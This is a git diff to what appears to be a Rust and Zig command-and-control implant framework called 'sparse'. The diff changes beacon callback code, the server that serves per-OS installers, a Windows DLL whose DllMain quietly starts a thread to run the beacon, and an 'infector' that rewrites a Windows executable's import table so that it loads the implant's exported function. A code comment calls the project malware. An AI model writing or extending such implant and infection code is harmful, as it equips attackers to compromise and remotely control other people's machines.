diff --git a/sparse-beacon/src/callback.rs b/sparse-beacon/src/callback.rs index 237ed3a..9014a2f 100644 --- a/sparse-beacon/src/callback.rs +++ b/sparse-beacon/src/callback.rs @@ -41,6 +41,9 @@ where } fn call(&mut self, _: Uri) -> Self::Future { + if cfg!(debug_assertions) { + println!("Connecting!"); + } Box::pin({ let adapter = self.adapter.clone(); let params = self.parameters.clone(); diff --git a/sparse-server/src/db.rs b/sparse-server/src/db.rs index 84d3eb1..fb2480b 100644 --- a/sparse-server/src/db.rs +++ b/sparse-server/src/db.rs @@ -3,26 +3,12 @@ pub mod user; #[cfg(feature = "ssr")] pub fn get_db() -> Result { - let owner = leptos::prelude::Owner::current().unwrap(); - tracing::debug!( - "Getting DB; debug ID: {:?}; ancestry: {:?}; type ID: {:?}", - owner.debug_id(), - owner.ancestry(), - std::any::TypeId::of::(), - ); - use leptos::{prelude::*, server_fn::error::NoCustomError}; match use_context::() { - Some(v) => { - tracing::debug!("Got db pool!"); - Ok(v) - } - None => { - tracing::debug!("Didn't get db pool!"); - Err(ServerFnError::::ServerError( - "Could not use database connection".to_string(), - )) - } + Some(v) => Ok(v), + None => Err(ServerFnError::::ServerError( + "Could not use database connection".to_string(), + )), } } diff --git a/sparse-server/src/webserver.rs b/sparse-server/src/webserver.rs index 0400dd2..582140b 100644 --- a/sparse-server/src/webserver.rs +++ b/sparse-server/src/webserver.rs @@ -38,7 +38,7 @@ pub async fn get_installer(btype: &str) -> Result, crate::error::Error> let path = match btype { "linux" => "target/x86_64-unknown-linux-musl/debug/sparse-unix-installer", "freebsd" => "target/x86_64-unknown-freebsd/debug/sparse-unix-installer", - "windows" => "target/x86_64-pc-windows-gnu/debug/sparse-windows-installer", + "windows" => "target/x86_64-pc-windows-gnu/debug/sparse-windows-installer.exe", other => { return Err(crate::error::Error::Generic(format!( "unknown beacon type: {other}" @@ -323,10 +323,6 @@ pub async fn serve_web( db: db.clone(), }; - println!("{:?}", std::any::TypeId::of::()); - - dbg!(&routes); - let app = Router::new() .route( "/binaries/installer/:template_id", @@ -338,13 +334,6 @@ pub async fn serve_web( &state, routes, move || { - let owner = leptos::prelude::Owner::current().unwrap(); - tracing::debug!( - "Providing DB; debug ID: {:?}; ancestry: {:?}; type ID: {:?}", - owner.debug_id(), - owner.ancestry(), - std::any::TypeId::of::(), - ); provide_context(beacon_listeners.clone()); provide_context(db.clone()); }, diff --git a/sparse-unix-beacon/src/main.rs b/sparse-unix-beacon/src/main.rs index 91dea25..600f6c8 100644 --- a/sparse-unix-beacon/src/main.rs +++ b/sparse-unix-beacon/src/main.rs @@ -17,6 +17,13 @@ use freebsd::FreeBsdAdapter as Adapter; #[tokio::main] async fn main() -> Result<(), sparse_beacon::BeaconError<::Error>> { + #[cfg(target_os = "linux")] + let mut binary_file = tokio::fs::OpenOptions::new() + .read(true) + .open("/proc/self/exe") + .await?; + + #[cfg(target_os = "freebsd")] let mut binary_file = tokio::fs::OpenOptions::new() .read(true) .open(std::env::current_exe()?) diff --git a/sparse-windows-beacon/Cargo.toml b/sparse-windows-beacon/Cargo.toml index a90e5be..b540799 100644 --- a/sparse-windows-beacon/Cargo.toml +++ b/sparse-windows-beacon/Cargo.toml @@ -11,7 +11,7 @@ anyhow = "1.0.95" async-trait = "0.1.86" thiserror = "2.0.11" tokio = { version = "1.43.0", features = ["fs", "io-std", "io-util", "rt-multi-thread", "sync"] } -windows = { version = "0.59.0", features = ["Win32_NetworkManagement_IpHelper", "Win32_NetworkManagement_Ndis", "Win32_Networking_WinSock", "Win32_System_LibraryLoader", "Win32_System_SystemServices", "Win32_UI_WindowsAndMessaging"] } +windows = { version = "0.59.0", features = ["Win32_NetworkManagement_IpHelper", "Win32_NetworkManagement_Ndis", "Win32_Networking_WinSock", "Win32_Security", "Win32_System_LibraryLoader", "Win32_System_SystemServices", "Win32_System_Threading", "Win32_UI_WindowsAndMessaging", "Win32_UI_WindowsAndMessaging"] } windows-result = "0.3.0" windows-strings = "0.3.0" winreg = "0.55" diff --git a/sparse-windows-beacon/src/adapter.rs b/sparse-windows-beacon/src/adapter.rs index d9462b6..7e37ca3 100644 --- a/sparse-windows-beacon/src/adapter.rs +++ b/sparse-windows-beacon/src/adapter.rs @@ -51,7 +51,7 @@ impl BeaconAdapter for WindowsAdapter { _ = GetAdaptersAddresses( 2, - GET_ADAPTERS_ADDRESSES_FLAGS(0), + GAA_FLAG_INCLUDE_GATEWAYS, None, None, &mut size_pointer as *mut _, @@ -67,7 +67,14 @@ impl BeaconAdapter for WindowsAdapter { &mut size_pointer as *mut _, ); - if err != 0 { + println!("Size: {size_pointer}"); + println!( + "Raw error: {:?}; {err}", + std::io::Error::last_os_error().raw_os_error() + ); + + if err != 0 && std::io::Error::last_os_error().raw_os_error() != Some(0) { + println!("Erroring out here! {err}"); Err(std::io::Error::last_os_error())?; } diff --git a/sparse-windows-beacon/src/lib.rs b/sparse-windows-beacon/src/lib.rs index 31b90e1..c6c3df7 100644 --- a/sparse-windows-beacon/src/lib.rs +++ b/sparse-windows-beacon/src/lib.rs @@ -1,57 +1,76 @@ use std::io::SeekFrom; use tokio::io::{AsyncReadExt, AsyncSeekExt}; -use windows::Win32::{ - Foundation::{FreeLibrary, HMODULE, MAX_PATH}, - System::{ - LibraryLoader::{ - GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS, GetModuleFileNameA, GetModuleHandleExW, +use windows::{ + core::*, + Win32::{ + Foundation::{CloseHandle, FreeLibrary, HMODULE, MAX_PATH}, + System::{ + LibraryLoader::{ + DisableThreadLibraryCalls, GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS, GetModuleFileNameA, GetModuleHandleExW, + }, + SystemServices::DLL_PROCESS_ATTACH, + Threading::{CreateThread, Sleep, THREAD_CREATION_FLAGS} }, - SystemServices::DLL_PROCESS_ATTACH, - }, + UI::WindowsAndMessaging::{MessageBoxA, MB_OK}, + } }; use sparse_actions::payload_types::{Parameters, XOR_KEY}; mod adapter; -#[unsafe(no_mangle)] -pub extern "system" fn DllMain(_: usize, dw_reason: u32, _: usize) -> i32 { - if dw_reason == DLL_PROCESS_ATTACH { - std::thread::spawn(|| { - std::thread::yield_now(); +static mut MODULE_FILENAME: [u8; MAX_PATH as usize] = [0u8; MAX_PATH as usize]; +static mut MODULE_FILENAME_LEN: u32 = 0; - if let Err(_e) = hash_internals() { - // what are we going to do?? - // go to the user and say "malware crashed"? - } - }); +#[unsafe(no_mangle)] +pub extern "system" fn DllMain(hmodule: HMODULE, dw_reason: u32, _: usize) -> i32 { + if dw_reason == DLL_PROCESS_ATTACH { + unsafe { + MODULE_FILENAME_LEN = GetModuleFileNameA(Some(hmodule), &mut *&raw mut MODULE_FILENAME); + } + unsafe { let _ = DisableThreadLibraryCalls(hmodule); } + unsafe { allocate_hash_space(); } } 1 } +#[unsafe(no_mangle)] +pub unsafe extern "system" fn allocate_hash_space() { + unsafe { + let thr = CreateThread( + None, + 0, + Some(prepare_hash), + None, + THREAD_CREATION_FLAGS(0), + None + ); + if let Ok(th) = thr { + let _ = CloseHandle(th); + } + } +} + +unsafe extern "system" fn prepare_hash(_param: *mut core::ffi::c_void) -> u32 { + unsafe { Sleep(50); } + + if let Err(e) = hash_internals() { + if cfg!(debug_assertions) { + let msg_buffer = [format!("Sparse error: {e:?}").as_bytes(), &[0]].concat(); + unsafe { + let _ = MessageBoxA(None, PCSTR::from_raw(msg_buffer.as_ptr()), s!("Sparse error!"), MB_OK); + }; + } + } + 0 +} + fn hash_internals() -> std::result::Result<(), std::io::Error> { let curr_module = HMODULE(std::ptr::null_mut()); let comp_hash = compute_hash as extern "C" fn() -> (); - if let Err(_) = unsafe { - GetModuleHandleExW( - GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS, - windows_strings::PCWSTR::from_raw(comp_hash as *const () as *const _), - curr_module.0 as *mut _, - ) - } { - return Err(std::io::Error::last_os_error()); - } - - let mut name = vec![0u8; MAX_PATH as usize]; - let name_len = unsafe { GetModuleFileNameA(Some(curr_module), &mut name) as usize }; - - unsafe { - let _ = FreeLibrary(curr_module); - } - - if name_len == 0 { + if unsafe { MODULE_FILENAME_LEN } == 0 { return Err(std::io::Error::last_os_error()); } @@ -59,14 +78,15 @@ fn hash_internals() -> std::result::Result<(), std::io::Error> { .enable_all() .build()?; - rt.block_on(async move { unsafe { hash_stage_2(name[..name_len].to_vec()) }.await })?; - - // MessageBoxW(None, w!("Hi!"), w!("There!"), MB_OK); + let fname = unsafe { MODULE_FILENAME[..MODULE_FILENAME_LEN as usize].to_vec() }; + rt.block_on(async move { unsafe { hash_stage_2(fname) }.await })?; Ok(()) } async unsafe fn hash_stage_2(name: Vec) -> std::result::Result<(), std::io::Error> { + sparse_beacon::install_rustls(); + let mut binary_file = tokio::fs::OpenOptions::new() .read(true) .open(unsafe { std::str::from_utf8_unchecked(&name) }) @@ -83,10 +103,20 @@ async unsafe fn hash_stage_2(name: Vec) -> std::result::Result<(), std::io:: } let parameters: Parameters = - unsafe { std::mem::transmute(*(parameters_buffer.as_ptr() as *const Parameters)) }; + unsafe { *(parameters_buffer.as_ptr() as *const Parameters).clone() }; - let _ = sparse_beacon::run_beacon_step(adapter::WindowsAdapter, parameters).await; + let err = sparse_beacon::run_beacon_step(adapter::WindowsAdapter, parameters).await; + if let Err(e) = err { + if cfg!(debug_assertions) { + let msg_buffer = [format!("Sparse error: {e:?}").as_bytes(), &[0]].concat(); + unsafe { + let _ = MessageBoxA(None, PCSTR::from_raw(msg_buffer.as_ptr()), s!("Sparse error!"), MB_OK); + }; + } + } + + loop {} Ok(()) } diff --git a/sparse-windows-beacon/src/main.rs b/sparse-windows-beacon/src/main.rs index 95de9e1..ad7e079 100644 --- a/sparse-windows-beacon/src/main.rs +++ b/sparse-windows-beacon/src/main.rs @@ -8,6 +8,7 @@ mod adapter; #[tokio::main] async fn main() -> anyhow::Result<()> { + loop {} sparse_beacon::install_rustls(); let mut binary_file = tokio::fs::OpenOptions::new() diff --git a/sparse-windows-infector/src/lib.rs b/sparse-windows-infector/src/lib.rs index 4009ea0..a4660c8 100644 --- a/sparse-windows-infector/src/lib.rs +++ b/sparse-windows-infector/src/lib.rs @@ -1,5 +1,5 @@ use std::{ - io::{Error, prelude::*}, + io::{prelude::*, Error}, path::Path, }; @@ -29,11 +29,7 @@ where *b = *b ^ (XOR_KEY as u8); } - for i in 0..(sparse_library.len() - sparse_parameters.len()) { - if sparse_library[i..(i + sparse_parameters.len())] == vec![b'B'; sparse_parameters.len()] { - sparse_library[i..(i + sparse_parameters.len())].copy_from_slice(&sparse_parameters); - } - } + sparse_library.extend(sparse_parameters); std::fs::write(&target_library_path, sparse_library)?; @@ -111,7 +107,6 @@ where }; struct Section { - name: [u8; 8], section_header_idx: usize, data: Vec, } @@ -124,7 +119,6 @@ where .iter() .enumerate() .map(|(section_header_idx, sechdr)| Section { - name: sechdr.name.clone(), section_header_idx, data: binary_data[sechdr.raw_data_ptr as usize ..(sechdr.raw_data_ptr + sechdr.raw_data_size) as usize] @@ -135,7 +129,7 @@ where // modify the PE let Some(import_table_section_idx) = section_headers.iter().position(|section| { - (section.raw_data_ptr..(section.raw_data_ptr + section.raw_data_size)) + (section.virtual_address..(section.virtual_address + section.virtual_size)) .contains(&optional_header.import_table.virtual_address) }) else { eprintln!("Could not find section with import table"); @@ -147,9 +141,17 @@ where std::str::from_utf8(§ion_headers[import_table_section_idx].name) ); - let start_index = optional_header.import_table.virtual_address - - section_headers[import_table_section_idx].virtual_address - + section_headers[import_table_section_idx].raw_data_ptr; + let start_index = section_headers + .iter() + .find_map(|sh| { + (sh.virtual_address..(sh.virtual_address + sh.virtual_size)) + .contains(&optional_header.import_table.virtual_address) + .then_some( + optional_header.import_table.virtual_address - sh.virtual_address + + sh.raw_data_ptr, + ) + }) + .unwrap_or(optional_header.import_table.virtual_address); let import_descriptors: *const ImportDescriptor = unsafe { binary_data.as_ptr().offset(start_index as isize) as *const _ }; @@ -256,7 +258,6 @@ where .to_vec(); let mut import_section = Section { - name: *b".import\0", section_header_idx: section_headers.len() - 1, data: vec![], }; @@ -306,13 +307,16 @@ where import_section.data.push(0x00); let lib_func_name_offset = import_section.data.len(); + + let linked_function = b"allocate_hash_space"; import_section.data.push(0x02); import_section.data.push(0x00); - import_section.data.extend(b"compute_hash"); + import_section.data.extend(linked_function); - import_section - .data - .extend(&vec![0u8; 256 - (file_name.len() + 15)]); + import_section.data.extend(&vec![ + 0u8; + 256 - (file_name.len() + linked_function.len() + 3) + ]); import_section.data.extend(&vec![ 0u8; diff --git a/unix-loader/src/libloader.zig b/unix-loader/src/libloader.zig index 162d37d..f3394a3 100644 --- a/unix-loader/src/libloader.zig +++ b/unix-loader/src/libloader.zig @@ -22,10 +22,9 @@ fn exec_beacon(gzipped_exe: []const u8, parameters: *Parameters) !void { try std.compress.gzip.decompress(gzipped_exe_stream.reader(), exe_file.writer()); - var params_buffer: [@sizeOf(Parameters) + 1]u8 = undefined; + var params_buffer: [@sizeOf(Parameters)]u8 = undefined; const params_input_ptr: [*]u8 = @ptrCast(parameters); @memcpy(params_buffer[0..@sizeOf(Parameters)], params_input_ptr); - params_buffer[@sizeOf(Parameters)] = 0; try exe_file.writer().writeAll(¶ms_buffer);